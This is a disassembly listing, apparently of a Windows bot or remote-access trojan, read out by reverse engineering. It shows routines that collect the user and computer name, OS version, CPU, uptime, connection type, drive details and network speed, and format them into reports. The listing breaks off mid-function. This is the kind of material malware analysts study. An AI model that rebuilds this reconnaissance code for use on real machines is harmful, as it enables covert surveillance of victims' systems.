		mov	[ebp+var_714], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_6E8], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_6E4], eax
		mov	[ebp+var_8], 15h
		mov	[ebp+var_6D0], 10h
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_708]
		push	eax
		call	dword_417018	; GetUserNameA
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		call	dword_417078	; GetComputerNameA
		mov	[ebp+var_520], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_51C]
		rep stosd
		lea	eax, [ebp+var_520]
		push	eax
		call	dword_417030	; GetVersionExA
		mov	[ebp+var_48C], offset a? ; "?"
		mov	[ebp+var_710], offset aNoSp ; "no SP"
		cmp	[ebp+var_51C], 4
		jnz	short loc_408522
		cmp	[ebp+var_518], 0
		jnz	short loc_408522
		cmp	[ebp+var_510], 1
		jnz	short loc_40850A
		mov	[ebp+var_48C], offset a95 ; "95"

loc_40850A:				; CODE XREF: sub_4083AD+151j
		cmp	[ebp+var_510], 2
		jnz	short loc_40851D
		mov	[ebp+var_48C], offset aNt ; "NT"

loc_40851D:				; CODE XREF: sub_4083AD+164j
		jmp	loc_4085B6
; ---------------------------------------------------------------------------

loc_408522:				; CODE XREF: sub_4083AD+13Fj
					; sub_4083AD+148j
		cmp	[ebp+var_51C], 4
		jnz	short loc_408540
		cmp	[ebp+var_518], 0Ah
		jnz	short loc_408540
		mov	[ebp+var_48C], offset a98 ; "98"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------

loc_408540:				; CODE XREF: sub_4083AD+17Cj
					; sub_4083AD+185j
		cmp	[ebp+var_51C], 4
		jnz	short loc_40855E
		cmp	[ebp+var_518], 5Ah
		jnz	short loc_40855E
		mov	[ebp+var_48C], offset aMe ; "ME"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------

loc_40855E:				; CODE XREF: sub_4083AD+19Aj
					; sub_4083AD+1A3j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40857C
		cmp	[ebp+var_518], 0
		jnz	short loc_40857C
		mov	[ebp+var_48C], offset a2000 ; "2000"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------

loc_40857C:				; CODE XREF: sub_4083AD+1B8j
					; sub_4083AD+1C1j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40859A
		cmp	[ebp+var_518], 1
		jnz	short loc_40859A
		mov	[ebp+var_48C], offset aXp ; "XP"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------

loc_40859A:				; CODE XREF: sub_4083AD+1D6j
					; sub_4083AD+1DFj
		cmp	[ebp+var_51C], 5
		jnz	short loc_4085B6
		cmp	[ebp+var_518], 2
		jnz	short loc_4085B6
		mov	[ebp+var_48C], offset a2003 ; "2003"

loc_4085B6:				; CODE XREF: sub_4083AD:loc_40851Dj
					; sub_4083AD+191j ...
		cmp	[ebp+var_510], 2
		jnz	short loc_4085D6
		movsx	eax, [ebp+var_50C]
		test	eax, eax
		jz	short loc_4085D6
		lea	eax, [ebp+var_50C]
		mov	[ebp+var_710], eax

loc_4085D6:				; CODE XREF: sub_4083AD+210j
					; sub_4083AD+21Bj
		call	sub_40435B
		test	eax, eax
		jz	short loc_4085EB
		mov	[ebp+var_744], offset aYes ; "Yes"
		jmp	short loc_4085F5
; ---------------------------------------------------------------------------

loc_4085EB:				; CODE XREF: sub_4083AD+230j
		mov	[ebp+var_744], offset aNo ; "No"

loc_4085F5:				; CODE XREF: sub_4083AD+23Cj
		mov	eax, [ebp+var_744]
		mov	[ebp+var_4], eax
		and	[ebp+var_47C], 0
		and	[ebp+var_409], 0
		xor	eax, eax
		cpuid
		mov	[ebp+var_488], ebx
		mov	[ebp+var_484], edx
		mov	[ebp+var_480], ecx
		lea	eax, [ebp+var_488]
		mov	[ebp+var_6EC], eax
		and	[ebp+var_70C], 0
		lea	eax, [ebp+var_70C]
		push	eax
		push	20019h
		push	0
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4086B3
		and	[ebp+var_73C], 0
		mov	[ebp+var_740], 80h
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_488]
		push	eax
		lea	eax, [ebp+var_73C]
		push	eax
		push	0
		push	offset aProcessornames ; "ProcessorNameString"
		push	[ebp+var_70C]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4086A7
		push	1
		push	1
		lea	eax, [ebp+var_488]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch

loc_4086A7:				; CODE XREF: sub_4083AD+2E5j
		push	[ebp+var_70C]
		call	dword_417028	; RegCloseKey

loc_4086B3:				; CODE XREF: sub_4083AD+2A8j
		cmp	[ebp+var_6E4], 1
		jnz	short loc_4086C8
		mov	[ebp+var_748], offset byte_41DE30
		jmp	short loc_4086D2
; ---------------------------------------------------------------------------

loc_4086C8:				; CODE XREF: sub_4083AD+30Dj
		mov	[ebp+var_748], offset dword_4191F4

loc_4086D2:				; CODE XREF: sub_4083AD+319j
		cmp	[ebp+var_524], 1
		jnz	short loc_4086E7
		mov	[ebp+var_74C], offset byte_41DE30
		jmp	short loc_4086F1
; ---------------------------------------------------------------------------

loc_4086E7:				; CODE XREF: sub_4083AD+32Cj
		mov	[ebp+var_74C], offset dword_4191F4

loc_4086F1:				; CODE XREF: sub_4083AD+338j
		cmp	[ebp+var_6E8], 1
		jnz	short loc_408706
		mov	[ebp+var_750], offset byte_41DE30
		jmp	short loc_408710
; ---------------------------------------------------------------------------

loc_408706:				; CODE XREF: sub_4083AD+34Bj
		mov	[ebp+var_750], offset dword_4191F4

loc_408710:				; CODE XREF: sub_4083AD+357j
		lea	eax, [ebp+var_708]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_748]
		push	[ebp+var_6E4]
		push	[ebp+var_74C]
		push	[ebp+var_524]
		push	[ebp+var_750]
		push	[ebp+var_6E8]
		push	[ebp+var_4]
		push	[ebp+var_6F0]
		push	[ebp+var_738]
		call	sub_40821B
		push	eax
		push	[ebp+var_6EC]
		push	[ebp+var_514]
		push	[ebp+var_518]
		push	[ebp+var_51C]
		push	[ebp+var_710]
		push	[ebp+var_48C]
		push	offset dword_419104
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 54h
		lea	eax, [ebp+var_408]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_6C8]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_6CC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4083AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087C4	proc near		; CODE XREF: sub_40A9CF+1B9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4087DE
		jmp	short locret_408806
; ---------------------------------------------------------------------------

loc_4087DE:				; CODE XREF: sub_4087C4+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_4083AD
		call	sub_4095A4
		add	esp, 10h

locret_408806:				; CODE XREF: sub_4087C4+18j
		leave
		retn
sub_4087C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408808	proc near		; CODE XREF: sub_408887+Bp
					; sub_408887+19p ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	7D0h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_40885F
		mov	eax, 3E8h
		jmp	short locret_408885
; ---------------------------------------------------------------------------

loc_40885F:				; CODE XREF: sub_408808+4Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, 3E8h
		jnb	short loc_40887B
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		mov	[ebp+var_2C], eax
		jmp	short loc_408882
; ---------------------------------------------------------------------------

loc_40887B:				; CODE XREF: sub_408808+64j
		mov	[ebp+var_2C], 3E8h

loc_408882:				; CODE XREF: sub_408808+71j
		mov	eax, [ebp+var_2C]

locret_408885:				; CODE XREF: sub_408808+55j
		leave
		retn
sub_408808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408887	proc near		; CODE XREF: sub_408B30+1C2p
					; sub_40CA29+1E9p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset dword_418F60
		call	sub_408808
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset loc_418F6C
		call	sub_408808
		pop	ecx
		mov	[ebp+var_8], eax
		push	offset dword_418F84
		call	sub_408808
		pop	ecx
		mov	[ebp+var_C], eax
		push	offset loc_418F90
		call	sub_408808
		pop	ecx
		mov	[ebp+var_10], eax
		push	offset dword_418FA0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_14], eax
		push	offset dword_418FB0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_18]
		xor	edx, edx
		push	6
		pop	ecx
		div	ecx
		leave
		retn
sub_408887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088FC	proc near		; CODE XREF: sub_408B30:loc_408D33p

var_438		= qword	ptr -438h
var_430		= dword	ptr -430h
var_42C		= qword	ptr -42Ch
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= byte ptr -308h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 438h
		and	[ebp+var_8], 0
		jmp	short loc_408912
; ---------------------------------------------------------------------------

loc_40890B:				; CODE XREF: sub_4088FC+23j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_408912:				; CODE XREF: sub_4088FC+Dj
		mov	eax, [ebp+var_8]
		cmp	off_418FC4[eax*4], 0
		jz	short loc_408921
		jmp	short loc_40890B
; ---------------------------------------------------------------------------

loc_408921:				; CODE XREF: sub_4088FC+21j
		mov	eax, [ebp+var_8]
		shr	eax, 1
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_408936
; ---------------------------------------------------------------------------

loc_40892F:				; CODE XREF: sub_4088FC+D6j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_408936:				; CODE XREF: sub_4088FC+31j
		cmp	[ebp+var_4], 3
		jnb	loc_408B2C
		mov	eax, [ebp+var_8]
		dec	eax
		push	eax
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC4[eax*4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC8[eax*4]
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_310], eax
		cmp	[ebp+var_310], 0
		jnz	short loc_4089D7
		jmp	loc_40892F
; ---------------------------------------------------------------------------

loc_4089D7:				; CODE XREF: sub_4088FC+D4j
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_4053BF
		add	esp, 0Ch
		and	[ebp+var_314], 0
		call	sub_416B64	; clock
		mov	[ebp+var_41C], eax
		and	[ebp+var_30C], 0

loc_408A3A:				; CODE XREF: sub_4088FC+1AFj
					; sub_4088FC+22Bj
		push	1388h
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_408A93
		cmp	[ebp+var_420], 0FFFFFFFFh
		jz	short loc_408A93
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		cmp	eax, 1388h
		jnb	short loc_408A93
		cmp	[ebp+var_30C], 100000h
		jb	loc_408B15

loc_408A93:				; CODE XREF: sub_4088FC+16Aj
					; sub_4088FC+173j ...
		cmp	[ebp+var_30C], 2000h
		jnb	short loc_408AAD
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		jmp	short loc_408A3A
; ---------------------------------------------------------------------------

loc_408AAD:				; CODE XREF: sub_4088FC+1A1j
		mov	eax, [ebp+var_30C]
		mov	dword ptr [ebp+var_42C], eax
		and	dword ptr [ebp+var_42C+4], 0
		fild	[ebp+var_42C]
		fstp	[ebp+var_430]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		mov	dword ptr [ebp+var_438], eax
		and	dword ptr [ebp+var_438+4], 0
		fild	[ebp+var_438]
		fdiv	flt_417270
		fdivr	[ebp+var_430]
		call	sub_416CF8	; _ftol
		mov	[ebp+var_424], eax
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		mov	eax, [ebp+var_424]
		jmp	short locret_408B2E
; ---------------------------------------------------------------------------

loc_408B15:				; CODE XREF: sub_4088FC+191j
		mov	eax, [ebp+var_30C]
		add	eax, [ebp+var_420]
		mov	[ebp+var_30C], eax
		jmp	loc_408A3A
; ---------------------------------------------------------------------------

loc_408B2C:				; CODE XREF: sub_4088FC+3Ej
		xor	eax, eax

locret_408B2E:				; CODE XREF: sub_4088FC+217j
		leave
		retn
sub_4088FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B30	proc near		; DATA XREF: sub_408E4A+35o

var_A9C		= qword	ptr -0A9Ch
var_A7C		= qword	ptr -0A7Ch
var_A74		= dword	ptr -0A74h
var_A70		= dword	ptr -0A70h
var_A6C		= dword	ptr -0A6Ch
var_A68		= dword	ptr -0A68h
var_A64		= dword	ptr -0A64h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_8B8		= dword	ptr -8B8h
var_8B4		= dword	ptr -8B4h
var_8B0		= byte ptr -8B0h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= byte ptr -814h
var_414		= byte ptr -414h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A7Ch
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_A60]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41EF48
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_824]
		push	eax
		push	0
		push	0
		push	offset dword_41EF48
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	short loc_408BBC
		push	1
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		push	[ebp+var_824]
		call	dword_41DE8C	; freeaddrinfo

loc_408BBC:				; CODE XREF: sub_408B30+54j
		call	sub_409318
		mov	[ebp+var_8B8], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_830], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_820], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_82C], eax
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_8B0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	dword_41DE7C, 0
		jz	short loc_408C9F
		push	0
		push	80h
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		call	dword_41DE7C	; InternetGetConnectedStateEx
		test	eax, eax
		jz	short loc_408C9F
		mov	eax, [ebp+var_818]
		and	eax, 1
		test	eax, eax
		jz	short loc_408C8F
		push	offset aModem	; "Modem"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_408C9F
; ---------------------------------------------------------------------------

loc_408C8F:				; CODE XREF: sub_408B30+14Bj
		push	offset aLan	; "LAN"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_408C9F:				; CODE XREF: sub_408B30+11Fj
					; sub_408B30+13Ej ...
		call	sub_4043E9
		test	eax, eax
		jz	short loc_408CB4
		mov	[ebp+var_A64], offset aYes ; "Yes"
		jmp	short loc_408CBE
; ---------------------------------------------------------------------------

loc_408CB4:				; CODE XREF: sub_408B30+176j
		mov	[ebp+var_A64], offset aNo ; "No"

loc_408CBE:				; CODE XREF: sub_408B30+182j
		mov	eax, [ebp+var_A64]
		mov	[ebp+var_8], eax
		call	sub_404279
		test	eax, eax
		jz	short loc_408CDC
		mov	[ebp+var_A68], offset aYes ; "Yes"
		jmp	short loc_408CE6
; ---------------------------------------------------------------------------

loc_408CDC:				; CODE XREF: sub_408B30+19Ej
		mov	[ebp+var_A68], offset aNo ; "No"

loc_408CE6:				; CODE XREF: sub_408B30+1AAj
		mov	eax, [ebp+var_A68]
		mov	[ebp+var_8B4], eax
		call	sub_408887
		mov	[ebp+var_828], eax
		mov	[ebp+var_81C], offset aBad ; "Bad"
		cmp	[ebp+var_828], 2EEh
		jnb	short loc_408D1D
		mov	[ebp+var_81C], offset aAvarage ; "Avarage"

loc_408D1D:				; CODE XREF: sub_408B30+1E1j
		cmp	[ebp+var_828], 1F4h
		jnb	short loc_408D33
		mov	[ebp+var_81C], offset aGood ; "Good"

loc_408D33:				; CODE XREF: sub_408B30+1F7j
		call	sub_4088FC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_82C], 1
		jnz	short loc_408D50
		mov	[ebp+var_A6C], offset byte_41DE30
		jmp	short loc_408D5A
; ---------------------------------------------------------------------------

loc_408D50:				; CODE XREF: sub_408B30+212j
		mov	[ebp+var_A6C], offset dword_4191F4

loc_408D5A:				; CODE XREF: sub_408B30+21Ej
		cmp	[ebp+var_820], 1
		jnz	short loc_408D6F
		mov	[ebp+var_A70], offset byte_41DE30
		jmp	short loc_408D79
; ---------------------------------------------------------------------------

loc_408D6F:				; CODE XREF: sub_408B30+231j
		mov	[ebp+var_A70], offset dword_4191F4

loc_408D79:				; CODE XREF: sub_408B30+23Dj
		cmp	[ebp+var_830], 1
		jnz	short loc_408D8E
		mov	[ebp+var_A74], offset byte_41DE30
		jmp	short loc_408D98
; ---------------------------------------------------------------------------

loc_408D8E:				; CODE XREF: sub_408B30+250j
		mov	[ebp+var_A74], offset dword_4191F4

loc_408D98:				; CODE XREF: sub_408B30+25Cj
		push	[ebp+var_A6C]
		push	[ebp+var_82C]
		push	[ebp+var_A70]
		push	[ebp+var_820]
		push	[ebp+var_A74]
		push	[ebp+var_830]
		mov	eax, [ebp+var_4]
		mov	dword ptr [ebp+var_A7C], eax
		and	dword ptr [ebp+var_A7C+4], 0
		fild	[ebp+var_A7C]
		fdiv	flt_417274
		push	ecx
		push	ecx
		fstp	[esp+0A9Ch+var_A9C]
		push	[ebp+var_828]
		push	[ebp+var_81C]
		push	[ebp+var_8B4]
		push	[ebp+var_8]
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419284
		push	400h
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 48h
		lea	eax, [ebp+var_814]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_A60]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_408B30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E4A	proc near		; CODE XREF: sub_40A9CF+1BD8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_408E64
		jmp	short locret_408E8C
; ---------------------------------------------------------------------------

loc_408E64:				; CODE XREF: sub_408E4A+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408B30
		call	sub_4095A4
		add	esp, 10h

locret_408E8C:				; CODE XREF: sub_408E4A+18j
		leave
		retn
sub_408E4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E8E	proc near		; CODE XREF: sub_40CA29+1C5p
					; sub_40CA29+2DAp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_419398
		mov	[ebp+var_1C], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0

loc_408EA4:				; CODE XREF: sub_408E8E+95j
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_408F14
		cmp	[ebp+var_10], 1
		jz	short loc_408F14
		cmp	[ebp+var_10], 5
		jz	short loc_408EE1
		cmp	[ebp+var_10], 2
		jz	short loc_408EE1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_408EF1
; ---------------------------------------------------------------------------

loc_408EE1:				; CODE XREF: sub_408E8E+33j
					; sub_408E8E+39j
		push	8
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch

loc_408EF1:				; CODE XREF: sub_408E8E+51j
		push	0
		push	100000h
		push	[ebp+var_20]
		push	[ebp+var_24]
		call	sub_416C90
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx

loc_408F14:				; CODE XREF: sub_408E8E+27j
					; sub_408E8E+2Dj
		mov	al, byte ptr [ebp+var_1C]
		add	al, 1
		mov	byte ptr [ebp+var_1C], al
		movsx	eax, byte ptr [ebp+var_1C]
		cmp	eax, 5Ah
		jnz	loc_408EA4
		mov	eax, [ebp+var_C]
		leave
		retn
sub_408E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F2E	proc near		; DATA XREF: sub_4091E2+35o

var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= byte ptr -420h
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_404		= byte ptr -404h
var_3EF		= byte ptr -3EFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5DCh
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	5
		pop	ecx
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp+var_404]
		rep movsd
		movsb
		mov	ecx, 0FAh
		xor	eax, eax
		lea	edi, [ebp+var_3EF]
		rep stosd
		stosw
		stosb
		mov	eax, dword_419398
		mov	[ebp+var_424], eax
		and	[ebp+var_418], 0
		and	[ebp+var_5D8], 0
		and	[ebp+var_414], 0
		mov	[ebp+var_410], 1

loc_408FA6:				; CODE XREF: sub_408F2E+23Bj
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_5DC], eax
		cmp	[ebp+var_5DC], 0
		jz	loc_409151
		cmp	[ebp+var_5DC], 1
		jz	loc_409151
		cmp	[ebp+var_5DC], 2
		jnz	short loc_408FE5
		mov	[ebp+var_4], offset aRemovable ; "removable"
		jmp	short loc_409034
; ---------------------------------------------------------------------------

loc_408FE5:				; CODE XREF: sub_408F2E+ACj
		cmp	[ebp+var_5DC], 3
		jnz	short loc_408FF7
		mov	[ebp+var_4], offset aFixed ; "fixed"
		jmp	short loc_409034
; ---------------------------------------------------------------------------

loc_408FF7:				; CODE XREF: sub_408F2E+BEj
		cmp	[ebp+var_5DC], 4
		jnz	short loc_409009
		mov	[ebp+var_4], offset aRemote ; "remote"
		jmp	short loc_409034
; ---------------------------------------------------------------------------

loc_409009:				; CODE XREF: sub_408F2E+D0j
		cmp	[ebp+var_5DC], 5
		jnz	short loc_40901B
		mov	[ebp+var_4], offset aCdRom ; "cd-rom"
		jmp	short loc_409034
; ---------------------------------------------------------------------------

loc_40901B:				; CODE XREF: sub_408F2E+E2j
		cmp	[ebp+var_5DC], 6
		jnz	short loc_40902D
		mov	[ebp+var_4], offset aRamdisk ; "ramdisk"
		jmp	short loc_409034
; ---------------------------------------------------------------------------

loc_40902D:				; CODE XREF: sub_408F2E+F4j
		mov	[ebp+var_4], offset aUnknown ; "unknown"

loc_409034:				; CODE XREF: sub_408F2E+B5j
					; sub_408F2E+C7j ...
		cmp	[ebp+var_5DC], 5
		jz	short loc_40906A
		cmp	[ebp+var_5DC], 2
		jz	short loc_40906A
		lea	eax, [ebp+var_42C]
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
